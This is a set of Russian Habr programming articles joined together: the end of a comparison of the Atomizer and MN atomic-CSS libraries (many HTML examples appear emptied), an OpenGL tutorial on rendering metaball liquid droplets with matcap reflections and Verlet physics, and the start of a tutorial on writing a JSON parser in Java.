Сравним комбинаторы.
"The underscore character ( `_` )" в `Atomizer`:
```
```
Аналог в `MN`:
```
```
```
.foo .dN\<\.foo {
display: none;
}
```
"The right angle bracket character ( `>` )" в `Atomizer`:
```
```
Аналог в `MN`:
```
```
```
.foo>.dN\<1\.foo {
display: none;
}
```
"The plus sign ( `+` )" в `Atomizer`:
```
```
Аналог в `MN`:
```
```
```
.foo+ .dN\<\.foo\+ {
display: none;
}
```
Помимо этого в `MN` комбинатор "соседний брат" ( `+` ) можно использовать в обратном направлении:
```
```
```
.dN\+\.foo+.foo {
display: none;
}
```
В `MN` можно использовать комбинатор "общий брат" ( `~` ):
```
```
```
.foo~ .dN\<\.foo\~ {
display: none;
}
```
И в обратном направлении:
```
```
```
.dN\~\.foo~.foo {
display: none;
}
```
---
### Atomizer vs MN. Контекст
В `Atomizer` есть функциональность, называемая `Context class`, которая используется в случаях, когда необходимо установить некоторое поведение стилей при изменении селектора на родительском элементе.
Пример:
```
...
```
```
.foo .foo_D\(n\), .any_double .any_double_D\(n\) {
display: none;
}
.bar:hover .bar\:h_D\(n\) {
display: none;
}
.any .any_D\(n\)\:h:hover {
display: none;
}
```
На что я обратил внимание в этом примере:
* нельзя использовать последовательность из нескольких родительских классов, что я и попытался сделать в этом примере таким образом `any_double_D(n)`;
* оказывается, стили в конечном CSS всё же частично группируются по какому-то принципу.
В `MN`, как, вероятно, некоторые могли догадаться из примеров выше, можно юзать полноценные селекторы, но для начала давайте рассмотрим, каким образом можно сделать тоже самое:
```
...
```
```
.foo .dN\<\.foo,.bar:hover .dN\<\.bar\:h,.any .dN\:h\<\.any:hover,.any .double .dN\<\.double\<\.any {
display: none;
}
```
При необходимости можно задать строгую глубину вложенности:
```
...
```
```
.any>.double>.dN\<1\.double\<1\.any,.any>*>.dN\<2\.any {
display: none;
}
```
Аналогичным образом, используя стрелочки направленные в противоположную сторону, можно задавать стили дочерним элементам:
```
...
```
```
.dN\>2\.double>*>.double {
display: none;
}
```
Можно комбинировать родительские селекторы с дочерними:
```
...
```
```
.parent .dN\<\.parent\>2\.double>*>.double {
display: none;
}
```
```
...
```
```
.dN\>\.double\<\.any .any .double {
display: none;
}
```
Можно обозначить поведение стиля при наличии произвольного селектора на текущем элементе:
```
...
...
...
```
```
.bgF2\.active\[data-name\=Gena\]\:h.active[data-name=Gena]:hover {
background: #fff;
background: rgba(255,255,255,.13);
}
.dN\#feedback#feedback {
display: none;
}
.o50\.disable.disable {
opacity: .5;
}
```
Отличия:
* в нотации `MN` строгий порядок.
Фрагмент строки отвечающий за значение стиля, как основная суть нотации, всегда следует вначале, и только затем начиная с какого-нибудь служебного символа следует контекст, который уточняет, к чему стили имеют отношение.
Если существует такое понятие как **"Венгерская нотация"**, то мне чисто ради наблюдения, хочется здесь назвать такой способ записи **"Тюркской нотацией"**, ибо в тюркских языках суть слова всегда находится вначале и только затем следует множество уточняющих суффиксов и окончаний.
В глобальном смысле это даже предельно технически правильный способ подачи почти любой информации, заключающийся в последовательном уменьшении неопределенности.
Пример со временем:
`2020-02-02 22:22:22` — каждое следующее значение в этой последовательности практически будет бесполезно без предшествующих;
Аналогичный пример с адресом: `Germany, 14193 Berlin, Kronberger Str. 12`;
* в `MN` можно использовать произвольные селекторы.
---
Atomizer vs MN. Вычисляемые значения
------------------------------------
В `Atomizer` есть возможность использования вычисляемых значений.
Для некоторых свойств Мы можем использовать дроби:
```
...
```
```
.W\(1\/2\) {
width: 50%;
}
.P\(1\/3\) {
padding: 33.3333%;
}
.M\(1\/4\) {
margin: 25%;
}
.Start\(1\/5\) {
left: 20%;
}
.T\(1\/6\) {
top: 16.6667%;
}
.Pstart\(1\/7\) {
padding-left: 14.2857%;
}
.Miw\(1\/8\) {
min-width: 12.5%;
}
```
В `MN` Мы также можем использовать вычисляемые значения, в том числе и дроби:
```
...
```
```
.w1\/2 {
width: 50%;
}
.p1\/3 {
padding: 33.33%;
}
.m1\/4 {
margin: 25%;
}
.sl1\/5 {
left: 20%;
}
.st1\/6 {
top: 16.66%;
}
.pl1\/7 {
padding-left: 14.28%;
}
.wmin1\/8 {
min-width: 12.5%;
}
```
Однако в `Atomizer` почему-то нельзя вычесть или сложить значение с дробью.
Я проверил:
```
...
```
```
.W\(1\/2-10\) {
width: 50%;
}
```
В `MN` Мы можем вычитать и складывать значения с дробью, и это для некоторых случаев весьма полезная возможность.
Пример:
```
...
```
```
.w1\/2-10 {
width: calc(50% - 10px);
}
.p1\/3\\\+5 {
padding: calc(33.33% + 5px);
}
```
*Замечания:*
* *здесь " `+` " — это служебный символ-комбинатор, как и в обычном CSS, поэтому он экранируется слэшем (`\`) **(udp: но в последней версии этого не требуется, если непосредственно за знаком " `+`" следует любая цифра)**.*
---
Atomizer vs MN. Установка цветов
--------------------------------
В `Atomizer` для указания цвета используются шестнадцатеричные цвета из 3-х или 6-ти символов с префиксом `#` в качестве идентификатора значения.
Шестнадцатеричные значения для цветов должны быть написаны в нижнем регистре (т.е., `#ccc`, а не `#CCC`).
Для установки коэффициента непрозрачности к шестнадцатеричному значению необходимо добавлять точку(`.`) с десятичным значением.
Например:
```
...
```
```
.C\(\#fff\) {
color: #fff;
}
.Bdc\(\#ff0000\) {
border-color: #ff0000;
}
.Bgc\(\#00ff00\.5\) {
background-color: rgba(0,255,0,.5);
}
```
В `MN` для указания цвета используются шестнадцатеричные цвета от 0 до 8-ми символов с коэффициентом непрозрачности включительно, но для коэффициента непрозрачности дополнительно имеется альтернативный способ: использовать точку(`.`) с десятичным значением.
Например:
```
...
```
```
.c {
color: #000;
}
.cFFF {
color: #fff;
}
.bcFF0000 {
border-color: #f00;
}
.bgc00FF00\\\.5 {
background-color: #0f0;
background-color: rgba(0,255,0,.5);
}
.cFF00008 {
color: #f00;
color: rgba(255,0,0,.53);
}
.cFF000080 {
color: #f00;
color: rgba(255,0,0,.5);
}
.cF {
color: #fff;
}
.bgc08 {
background-color: #000;
background-color: rgba(0,0,0,.53);
}
.bgc0\\\.5 {
background-color: #000;
background-color: rgba(0,0,0,.5);
}
.bgc1234 {
background-color: #123;
background-color: rgba(17,34,51,.27);
}
.bgc12348 {
background-color: #123;
background-color: rgba(17,34,51,.28);
}
```
*Замечания:*
* *здесь " `.` " — это служебный символ, с помощью которого указываются классы, как и в обычном CSS, поэтому он экранируется слэшем (`\`) **(udp: но в последней версии этого не требуется, если непосредственно за знаком " `.`" следует любая цифра)**.*
* *Вы могли обратить внимание на то, что ко всем генерируемым цветам с коэффициентом непрозрачности дополнительно добавляется значения без альфа-канала — это полифил для браузеров, которые не поддерживают коэффициент непрозрачности.
Это поведение можно отключить в настройках MN при помощи установки опции `altColor: 'off'`*
---
### Градиентная цветовая заливка в MN
В `MN` Мы имеем два похожих пресета, которые, как известно, на практике часто могут быть взаимозаменяемыми: `bgc` и `bg`.
Пример:
```
...
...
```
```
.bg48A {
background: #48a;
}
.bgc48A {
background-color: #48a;
}
```
Однако с `bg` Мы также можем легко и лаконично делать градиенты, путем указания последовательности цветов через знак минуса (`-`):
```
...
...
```
```
.bg0-F {
background: #000;
background: linear-gradient(180deg,#000 0%,#fff 100%);
}
.bgF00-0F0-00F {
background: #f00;
background: linear-gradient(180deg,#f00 0%,#0f0 50%,#00f 100%);
}
```
Имеется возможность устанавливать направление градиента:
```
...
...
```
```
.bg0-F_g45 {
background: #000;
background: linear-gradient(225deg,#000 0%,#fff 100%);
}
.bg0-F_g90 {
background: #000;
background: linear-gradient(270deg,#000 0%,#fff 100%);
}
```
Помимо линейных градиентов, Мы можем использовать радиальные градиенты:
```
...
...
...
```
```
.bg0-F_r {
background: #000;
background: radial-gradient(circle,#000 0%,#fff 100%);
}
.bg0-F_r_closestSide {
background: #000;
background: radial-gradient(closest-side,#000 0%,#fff 100%);
}
.bg0-F_r_ellipse_at_top {
background: #000;
background: radial-gradient(ellipse at top,#000 0%,#fff 100%);
}
```
Имеется возможность устанавливать позиции переходов градиента:
```
...
```
```
.bgF00-0F0p77\%-00Fp90\% {
background: linear-gradient(180deg,#f00 0%,#0f0 77%,#00f 90%);
}
```
---
Atomizer vs MN. Несколько значений
----------------------------------
В `Atomizer` есть возможность указывать несколько значений, разделенных запятыми, когда это поддерживается соответствующими свойствами, например:
```
...
```
```
.Bgp\(20px\,50px\) {
background-position: 20px 50px;
}
```
С `MN` получить аналогичный результат можно похожим образом:
```
...
```
```
.bgp20px_50px {
background-position: 20px 50px;
}
```
---
Atomizer vs MN. Идентификатор брейкпоинта (breakpoint identifier). Медиа-запросы
--------------------------------------------------------------------------------
В `Atomizer` можно устанавливать брейкпоинт к правилу, путем добавления суффикса к записи. Брейкпоинт указывает, что это правило вступит в силу только в рамках медиа-запроса.
Значения имени и длины каждой точки останова определяются в объекте конфигурации:
```
{
// ...
breakPoints: {
'sm': '@media(min-width:750px)', // breakpoint 1
'md': '@media(min-width:1000px)', // breakpoint 2
'lg': '@media(min-width:1200px)', // breakpoint 3
// ...
},
// ...
}
```
Используются эти брейкпоинты следующим образом:
```
...
```
```
@media(min-width:750px) {
.W\(50\%\)--sm {
width: 50%;
}
}
@media(min-width:1000px) {
.W\(33\%\)--md {
width: 33%;
}
}
@media(min-width:1200px) {
.W\(25\%\)--lg {
width: 25%;
}
}
```
В `MN` также можно прекрасно устанавливать брейкпоинты, путем добавления суффикса к записи:
```
...
```
```
@media (max-width: 992px) {
.w50\%\@m {
width: 50%;
}
}
@media (min-width: 992px) {
.w33\%\@d {
width: 33%;
}
}
@media (min-width: 1200px) {
.w25\%\@d2 {
width: 25%;
}
}
.ie .w1\/5\@ie {
width: 20%;
}
.android .w1\/6\@android {
width: 16.66%;
}
@media (pointer: fine) and (hover: hover) {
.cr\@mouse {
cursor: pointer;
}
}
```
Здесь Мы имеем возможность для брейкпоинтов использовать как медиа-запросы, так и родительские селекторы.
Такая возможность может быть очень удобна в случаях, когда Нам нужно учесть какие-либо функциональности браузера, для которых пока не предусмотрены соответствующие медиа-запросы, либо быстро сделать полифилы для браузеров, которые вовсе не поддерживают медиа-запросы.
Также возможность использования родительских селекторов в качестве брейкпоинтов, вероятно, могла бы пригодиться Нам для организации каких-нибудь контекстов или пространств имен.
Пример конфигурирования брейкпоинтов:
```
module.exports = (mn) => {
const {media} = mn;
// media-queries
media.m = {
query: '(max-width: 992px)',
priority: 0,
};
media.m2 = {
query: '(max-width: 768px)',
priority: 1,
};
media.d = {
query: '(min-width: 992px)',
priority: 2,
};
media.d2 = {
query: '(min-width: 1200px)',
priority: 3,
};
media.mouse = {
query: '(pointer: fine) and (hover: hover)',
priority: 4,
};
// ...
// user agents
media.mozilla = {
selector: '.mozilla'
};
media.webkit = {
selector: '.webkit'
};
media.ie = {
selector: '.ie'
};
media.iphone = {
selector: '.iphone'
};
media.android = {
selector: '.android'
};
// ...
};
```
Если Мы используем в нотации брейкпоинт, который нигде не предустановлен, то в CSS получим значение медиа-запроса, которое непосредственно указали в записи:
```
...
```
```
@media print {
.w50\%\@print {
width: 50%;
}
}
@media any {
.w50\%\@any {
width: 50%;
}
}
```
Также помимо предустанавливаемых брейкпоинтов в нотации `MN` можно использовать
выражения:
```
...
...
...
```
```
@media (max-width: 768px) {
.w50\%\@768 {
width: 50%;
}
}
@media (min-width: 768px) {
.w50\%\@768- {
width: 50%;
}
}
@media (min-width: 768px) and (max-width: 992px) {
.w50\%\@768-992 {
width: 50%;
}
}
@media (min-width: 768px) and (max-width: 992px) and (min-height: 100px) and (max-height: 200px) {
.w50\%\@768-992x100-200 {
width: 50%;
}
}
@media (min-height: 100px) {
.w50\%\@x100- {
width: 50%;
}
}
@media (min-height: 100px) and (max-height: 200px) {
.w50\%\@x100-200 {
width: 50%;
}
}
@media (max-height: 100px) {
.w50\%\@x100 {
width: 50%;
}
}
```
В выражениях брейкпоинтов Мы можем указывать приоритет медиа-запроса, по которому каскадные блоки сортируются в конечном CSS:
```
...
```
```
@media (max-width: 768px) {
.w50\%\@768\^1 {
width: 50%;
}
}
@media (max-width: 992px) {
.w50\%\@992\^3 {
width: 50%;
}
}
@media (min-width: 768px) and (max-width: 992px) {
.w50\%\@768-992\^5 {
width: 50%;
}
}
```
---
Minimalist Notation. Управление приоритетами стилей
---------------------------------------------------
В `MN` имеется специальная удобная возможность управления приоритетами стилей. Мы можем повысить приоритет стилей путем добавления суффикса `*` со значением приоритета в конец записи нотации, например:
```
...
```
```
.cF\*2.cF\*2 {
color: #fff;
}
.c0\*3.c0\*3.c0\*3 {
color: #000;
}
.cF00\.active\*2.cF00\.active\*2.active {
color: #f00;
}
```
Таким образом, приоритет или, другими словами, специфичность стилей увеличивается за счёт повторения в каскаде генерируемого CSS комбинации класса с самим собой столько раз, сколько Мы указываем в нотации.
---
Minimalist Notation. Селектор подстроки
---------------------------------------
С MN можно позволить себе сокращать имена классов в нотации.
Иногда достаточно только фрагмента имени:
```
...
...
...
```
```
.bgF00\>1\.\*_active>[class*=_active] {
background: #f00;
}
```
Например, в приложении на React Мы используем компоненты библиотеки Material-UI, которые легально кастомизируются через JSS так:
```
const React = require('react');
const {render} = require('react-dom');
const {withStyles} = require('@material-ui/core/styles');
const TextField = require('@material-ui/core/TextField').default;
const TextFieldGreen = withStyles({
root: {
'& label.Mui-focused': {
color: 'green',
},
'& .MuiOutlinedInput-root': {
'& fieldset': {
borderColor: 'red',
},
'&:hover fieldset': {
borderColor: 'yellow',
},
'&.Mui-focused fieldset': {
borderColor: 'green',
},
},
},
})(TextField);
function App() {
return (
);
}
```
С помощью MN ради кастомизации элементов Нам придется заморачиваться меньше:
```
const React = require('react');
const {render} = require('react-dom');
const TextField = require('@material-ui/core/TextField').default;
function TextFieldGreen(props) {
return (
label.\*-focused
bcRed>.\*OutlinedInput-root>fieldset
bcYellow>.\*OutlinedInput-root:h>fieldset
bcGreen>.\*OutlinedInput-root.\*-focused>fieldset
` + (props.className || '')}
/>
);
}
function App() {
return (
);
}
```
Если Нам понадобится кастомизировать значительно большее количество атрибутов, то подход JSS будет разительно более громоздким, чем подход MN.
Так в Нашем случае выглядит сгенерированный CSS:
```
.cGreen\>label\.\*-focused label[class*=-focused] {
color: green;
}
.bcRed\>\.\*OutlinedInput-root\>fieldset [class*=OutlinedInput-root] fieldset {
border-color: red;
}
.bcYellow\>\.\*OutlinedInput-root\:h\>fieldset [class*=OutlinedInput-root]:hover fieldset {
border-color: yellow;
}
.bcGreen\>\.\*OutlinedInput-root\.\*-focused\>fieldset [class*=OutlinedInput-root][class*=-focused] fieldset {
border-color: green;
}
```
Если возникает необходимость, селекторы подстрок можно использовать в странных и диковинных случаях:
```
* ...
* ...
* ...
* ...
...
```
```
.cRed\>\#\*menu-item- [id*=menu-item-] {
color: red;
}
```
---
Заключение
----------
Как можно видеть, MN больше ориентирован на методологию Atomic / Functional CSS.
Сейчас в ходу Scoped styles, JSS, PostCSS с BEM. Возможно и MN станет популярным где-то в свои 2050-е годы.
После MN Вам уже не захочется возвращаться к прежнему, и использование каких-либо иных классических способов покажется довольно утомительным и нелепым занятием. Ваши плечи будут тяжелеть от просьб написать CSS руками, ибо это будет также странно, как носить от ручья воду в бидонах, имея при этом под носом чистую воду из крана — хотя, конечно, подобные расточительные глупости вполне себе в норме для Нашего общества, но тем не менее...
---
Ссылки
------
[Библиотека MN](https://github.com/mr-amirka/minimalist-notation)
[MN get started example](https://github.com/mr-amirka/mn-get-started)
---
### PS:
Если у Вас есть вопросы, то обязательно пишите мне — я постараюсь на них ответить.
Имеют место другие крутые возможности, которые я ещё нигде не документировал.
Спасибо за то, что прочли! | https://habr.com/ru/post/510600/ | null | ru | null |
# Рендеринг капли с прозрачностью и отражениями на OpenGL
В этой статье мы рассмотрим как рендерить капли на OpenGL и расчитывать на лету нормаль для отражения и прозрачности. А так же, что такое Metaballs, баги графических чипсетов и какие трюки оптимизации можно применить для 60 FPS на мобильных девайсах.
Содержание
==========
Часть 1. [Мобильный кроссплатформенный движок](https://habrahabr.ru/post/282065/)
Часть 2. [Рендеринг UTF-8 текста с помощью SDF шрифта](https://habrahabr.ru/post/282191/)
Часть 3. Рендеринг капли с прозрачностью и отражениями
---
Metaballs
=========
В основе рендеринга капель лежит техника [Metaballs](https://ru.wikipedia.org/wiki/Metaball).
Текстом смысл этой техники передать сложно, поэтому покажу наглядно. Тем более, эта техника очень похожа на ту, что мы использовали с SDF шрифтами в [предыдущей статье](https://habrahabr.ru/post/282191/).
Итак открываем любой графический редактор:
1. Рисуем размытой кистью точку.
2. Добавляем еще несколько таких точек, чтобы они немного накладывались друг на друга.
3. Выкручиваем уровни (Levels) до нужного эффекта.
В самом простом виде Metaballs готов. Как наверное вы догадались, жидкость состоит из множества таких точек, к которым только остается прикрутить физику и добавить шейдер для красоты.
В рендеринге отдельной капли есть хитрость. Если рендерить каплю обычным радиальным градиентом, то получим вечно круглую горошину, которая в динамике будет смотреться весьма странно. Поэтому мы учитываем скорость каждой отдельной капли и немного смещаем центр градиента в сторону ускорения. В итоге даже одинокие капли будут немного вытягиваться при движении, что заметно оживит картинку.
Подготовим OpenGL
=================
Для рендеринга капель нам понадобится сперва ренедерить промежуточные этапы в текстуру. Это можно сделать с помощью **FBO** ([Framebuffer Object](https://ru.wikipedia.org/wiki/Framebuffer_Object)). При чем можно использовать меньшую текстуру 1/2 или даже 1/4 от размера экрана. Качество от этого почти не пострадает.
```
width=половина ширины экрана;
height=половина высоты экрана;
//создаем FBO
glGenFramebuffers(1, &framebuffer);
glBindFramebuffer(GL_FRAMEBUFFER, framebuffer);
//создаем текстуру в которую будем рендерить
glGenTextures(1, &texture);
glBindTexture(GL_TEXTURE_2D, texture);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, width, height, 0, GL_RGBA, GL_UNSIGNED_BYTE, NULL);
//привязываем текстуру к FBO
glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 0);
```
Далее для переключения на рендеринг в текстуру делаем:
*glBindFramebuffer(GL\_FRAMEBUFFER, framebuffer);
glClear(GL\_COLOR\_BUFFER\_BIT);*
А чтобы рендерить снова на экран:
*glBindFramebuffer(GL\_FRAMEBUFFER, 0);*
Логично было бы использовать RGB текстуру без прозрачности для экономии ресурсов. И в большинстве случаев все будет хорошо. Но только не на андроидах с чипсетами **Adreno**. На редких девайсах в текстуру будет выводится шум или сплошной черный цвет. Поэтому лучше использовать формат **GL\_RGBA**.
Рендер капель
=============
Первым проходом рендерим все капли в текстуру с учетом их скорости и материала.
Ниже привожу псевдокод т.к. в оригинальном коде слишком много ссылок к специфическим ф-циям движка.
```
glBindFramebuffer(GL_FRAMEBUFFER, framebuffer);
glClear(GL_COLOR_BUFFER_BIT);
bindShader(metaBalls);
for( кол-во капель ){
//делаем расчеты для "хвоста" капли
vx = скорость капли по Х;
vy = скорость капли по Y;
vLength = length(vx, vy);
if(vLength > vMax) {
//ограничиваем "хвост", чтобы при больших скоростях капли он не выходил за пределы градиента
vx *= vMax/vLength;
vy *= vMax/vLength;
}
setUniforms( vx, vy, капля.материал );
renderQuadAt( капля.x, капля.y );
}
```
Должна получиться примерно такая картинка:
Внимательный читатель спросит:
*"Почему красный цвет? От куда взялся зеленый? И что это за бордюры?"*
**Материал**
Допустим вы хотите выводить капли нескольких материалов сразу. Причем так, чтобы они могли плавно смешиваться. Для этого вместе со скоростью мы так же передаем материал капли. Это обычный float от 0 до 1, который и будет означать переход от одного материала к другому. В **RED** канал текстуры мы записываем сам градиент, а в **GREEN** пишем материал.
**Бордюр**
Посмотрите еще раз на gif-ку из шапки статьи. Вы увидите, что рядом с бордюром капля немного растекается, но на сам бордюр не залазит. Для такого эффекта надо сверху наложить заранее созданную маску, где в R и G каналах хранится информация — что добавить, а что отнять.
Формулу можно записать примерно так: (текстура с каплями + RED) \* BLUE.
Т.е. по размытым краям бордюра мы немного усиливаем капли, а непосредственно на самом бордюре наоборот капли убираем.
Попробуйте нарисовать сверху любую контрастную grayscale текстуру. Например такую:
Ваши капли вдруг начнут обтекать выступы на текстуре.
Конечно с физикой это никак не связано, это только визуальный трюк.
Главный шейдер
==============
Теперь нам надо вывести один квад (два треугольника/полигона) размером с весь экран. В этом шейдере надо применить технику Metaballs так, чтобы получить немного размытые края. Это даст нам 3D эффект на краях капли.
Далее прочитаем соседние тексели градиента и рассчитаем нормаль для отражения, по которой возьмем значение из Matcap текстуры.
Ниже приведен почищенный код шейдера для лучшего восприятия:
```
//Для OpenGL ES нужно задавать дефолтный precision
#ifdef DEFPRECISION
precision mediump float;
#endif
varying mediump vec2 outTexCord;
//FBO текстура, в котороую мы рисовали капли
uniform lowp sampler2D tex0;
//Matcap текстура
uniform lowp sampler2D tex1;
#define limitMin 0.4
#define limitMax 1.6666
#define levels(a,b,c) (a-b)*c
void main(void){
//Читаем текстуру с каплями и применяем уровни для получения Metaballs
float tex = texture2D(tex0, outTexCord).r;
float gradient = levels(tex, limitMin, limitMax);
//Выходим если капли нет, но не на Adreno
#ifndef ADRENO
if(gradient<=0.0){
discard;
}
#endif
//Читаем соседние 4 текселя для построения нормали по градиенту
vec2 step=vec2(0.002, 0.002);
vec2 cord=outTexCord;
cord.x+=step.x;
float right=texture2D(tex0, cord).r;
cord.x-=step.x*2.0;
float left=texture2D(tex0, cord).r;
cord+=step;
float bottom=texture2D(tex0, cord).r;
cord.y-=step.y*2.0;
float top=texture2D(tex0, cord).r;
//Приближенно строим нормаль по разнице градиента
vec3 normal;
normal.z=gradient;
normal.x=(right-left)*(1.0-gradient);
normal.y=(bottom-top)*(1.0-gradient);
normal=normalize(normal);
//Отражаем нормаль по вектору от центра экрана
vec3 ref=vec3(outTexCord-0.5, 0.5);
ref = normalize(reflect(ref, normal));
//Читаем Matcap текстуру
cord=(ref.xy+0.5)*0.5;
vec4 matcap=texture2D(tex1, cord);
//Регулируем степень размытия края капли
matcap.a*=min(1.0, gradient*10.0);
//Если нужно, добавляем прозрачность
matcap.a*=1.0-gradient*0.2;
gl_FragColor = matcap;
}
```
**Adreno**
Больше всего проблем доставили именно Android девайсы с чипсетом **Adreno**.
1. На Adreno нельзя делать **discard** до того, как прочитаны все текстуры. А лучше вообще от discard отказаться.
2. Для FBO надо использовать только RGBA текстуру. На RGB будет выведен либо шум, либо черный цвет.
Нужен ли тогда вообще **discard**?
Да, нужен. Особенно прирост FPS заметен на планшетах, где большой филрейт и надо бороться за каждый пиксель.
**Прозрачность**
Для прозрачности используем простой трюк: чем ближе к краю капли, тем больше отклоняется нормаль, а значит прозрачность на краях уменьшается. Этакий максимально упрощенный [Эффект Френеля](https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D1%80%D0%BC%D1%83%D0%BB%D1%8B_%D0%A4%D1%80%D0%B5%D0%BD%D0%B5%D0%BB%D1%8F).
MatCap
======
Всего лишь заменив текстуру Matcap, мы можем получить совершенно разные материалы — воду, серебро, золото, лаву, молоко, кофе и т.д.
Хорошо, что в интернете хватает бесплатных [Matcap текстур](https://pixologic.com/zbrush/downloadcenter/library/). Правда стоит учесть, что на больших каплях центр текстуры будет очень растянут. Поэтому для хорошего результата придется перебрать довольно много Matcap текстур.
Несколько материалов
====================
Помните, при рендеринге капель в FBO мы так же записывали значение материала?
Добавляем в шейдер небольшие изменения и получаем плавный переход из одного материала в другой.
```
//Так же берем GREEN канал
vec2 tex = texture2D(tex0, outTexCord).rg;
...
//В конце читаем из обеих Matcap текстур и смешиваем
vec4 matcap=mix( texture2D(tex1, cord), texture2D(tex2, cord), tex.g);
```
А так как значение материала у нас привязано к каждой отдельной капле, то меняя материал каждой капли по очереди, мы получим эффект перетекания или смешивания жидкостей.
Кстати, мы не ограничены только двумя материалами. Если записывать еще один переход материала в BLUE канал, то можно интерполировать сразу четыре материала.
Оптимизация
===========
В текущем виде получить 60 FPS на всех девайсах не получится. Особенно тяжело шел главный шейдер на iPad2. Discard не спасал, хотя он срабатывал на 80% пикселей. Попробуем вообще избавиться от этих пустых 80%.
Разобьем экран на ячейки. Для меня оказался оптимальным размер ячейки screenWidth/20. Разбили квад на ячейки, составили индекс этих мелких квадратов. Затем нам остается только смотреть какие ячейки заполнены каплями (плюс добавлять соседние ячейки) и при любом изменении решетки обновлять индекс:
*glBufferData(GL\_ELEMENT\_ARRAY\_BUFFER, size, data, GL\_DYNAMIC\_DRAW);*
Выводиться будут только ячейки действительно содержащие капли.
Физика
======
Физику затрону лишь вскользь т.к. это очень интересная, но обширная тема для одной статьи.
В основе лежит [Интегрирование Верле](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D0%B3%D1%80%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%92%D0%B5%D1%80%D0%BB%D0%B5) с небольшими доработками. Все что касается Верле заключено в такой блок кода:
```
//fric - добавим трение, чтобы капли замедлялись
float dt2,tmp;
dt2=dt*dt;
tmp = 2.0f * x - prevX + accelX * dt2;
prevX += (x - prevX)*fric;
x = tmp;
tmp = 2.0f * y - prevY + accelY * dt2;
prevY += (y - prevY)*fric;
y = tmp;
```
Нам остается только проверять расстояние между каплями, обрабатывать столкновения со стенками и учитывать поверхностное натяжение, чтобы капли не растекались.
С поверхностным натяжением пришлось схитрить. Каждый кадр мы смотрим, какие капли соприкасаются друг с другом, таким образом разделяя их на группы. Далее получаем центр каждой группы и немного "тянем" каждую каплю к центру группы. Это дало вполне приемлемый и быстрый результат.
---
Плюшка!
Чтобы капля хорошо вписывалась в фон, стоит добавить тень. Получить ее мы можем так же в основном шейдере без особой нагрузки на GPU.
Для тени берем Metaballs чуть большего размера. На краях затемняем каплю, за краями получаем черный цвет и немного расширяем альфа маску. Примерно так:
```
float shadow = levels(tex, чуть больше радиус и размытие);
float body=min(1.0, gradient*10.0);
matcap.rgb*=min(1.0, body*5.0);
matcap.a*=body+shadow;
``` | https://habr.com/ru/post/282590/ | null | ru | null |
# Yet another JSON-парсер
Здравствуйте, уважаемые читатели Хабра. В данной статье Вы узнаете, как написать свой JSON-парсер (с ~~жуками и~~ фичами). Созданный парсер будет преобразовывать последовательность текстовых символов в *well-formed* JSON-объект, который будет представлять JSON-Документ. **JSON-документ** - это последовательность символов, которая правильно и неукоснительно выполняет правила грамматики языка. Существуют несколько грамматик и RFC, для описания правильной последовательности текста в формате JSON. Для данного парсера воспользуемся спецификацией [RFC 8259](https://datatracker.ietf.org/doc/html/rfc8259).
### Мотивация
Во-первых, избавиться от некоторых гугловских библиотек, используемых только для разбора JSON текста.
Во-вторых, написать свой, ~~красивый~~ простой API с богатым набором методов, конструкторов и прочих вещей.
В-третьих, изменяемость. Внесение изменений в своё творение.
Элементы JSON.
--------------
Итак, что будет вовзращать наш парсер? Очевидно, что одного ответа на вопрос: "Данный текст соответствует JSON-формату?" будет недостаточно. Нам необходимо извлечь содержимое JSON, если таковое имеется. Следовательно, куда сохранить, как хранить, как реализовывать, как потом обращаться с ним? Так много вопросов. Будем действовать последовательно.
Обратимся к RFC. Согласно документу, есть 4 примитивных типов, и 2 структурных (объекты и массивы). Начнём с неструктруных типов. Для каждого типа создадим свой собственный класс, который будет возвращать значение соответствующего типа. Все они будут наследоваться от общего абстрактного класса *JsonElement*, представляющий элементарное значение в JSON-е.
```
public abstract class JsonElement { //T - конкретный тип данного в JSON.
public abstract T getValue(); //Значение указанного типа в тексте.
//Возвращаем строковый вариант самого значения
@Override
public String toString(){
return getValue().toString();
}
}
```
Класс JsonElement абстрактный, поэтому каждый его дочерний подкласс, который будет содержать конкретику, должен реализовать метод *getValue*.
Начнём с булевого типа (**boolean**). Напишем класс JsonBoolean производный от JsonElement.
```
public class JsonBoolean extends JsonElement { //Значение типа - Boolean
private boolean v;
//По умолчанию = false.
public JsonBoolean(){
this.v = false;
}
//передать выражение логического типа.
public JsonBoolean(Boolean b){
this.v = b;
}
//Мнемонический конструктор.
//t = true (t stands for true). Как сокращение.
//other = false. (любой символ, кроме 't').
public JsonBoolean(Character c){
this.v = (c == 't');
}
@Override
public Boolean getValue() {
return v;
}
}
```
Далее, напишем такой же класс для числового типа (Number). Заметим, что в JSON можно описывать как целые числа, так и действительные числа с десятичной точкой. Для отделения целых чисел, от чисел с точкой, определим два класса. Первый класс *JsonNumber* будет обозначать целые числа. Его код абсолютно идентичен, за исключением конструкторов и схемы наследования.
```
public class JsonNumber extends JsonElement { // Числовой тип - Number.
private Number n;
//Не знаем точно, какой именно из числовых типов, поэтому Number.
public JsonNumber(Number n){
this.n = n;
}
@Override
public Number getValue() {
return n;
}
}
```
Код же для класса действительных чисел, JsonRealNumber ещё проще:
```
public class JsonRealNumber extends JsonNumber { // Включает в себя JsonNumber.
//Здесь можно использовать конкретный тип для чисел с плавающей запятой.
//Float или Double.
public JsonRealNumber(Float n){
super(n);
}
public JsonRealNumber(Double n) {
super(n);
}
}
```
Остаётся строковый тип *JsonString* и тип *JsonNull* для значения **null** (да, для null - написали аж отдельный класс.). Ниже приведен код данных классов.
```
public class JsonString extends JsonElement {
private String val;
public JsonString(String v){
this.val = v;
}
@Override
public String getValue() {
return val;
}
// Не надо лишний раз вызывать getValue(), у нас уже есть строка.
@Override
public String toString(){
return val;
}
}
//Определили в отдельном файле JsonNull.java
public class JsonNull extends JsonElement {
@Override
public String getValue() {
return "null"; //Просто возвращаем в виде строки "null"
}
}
```
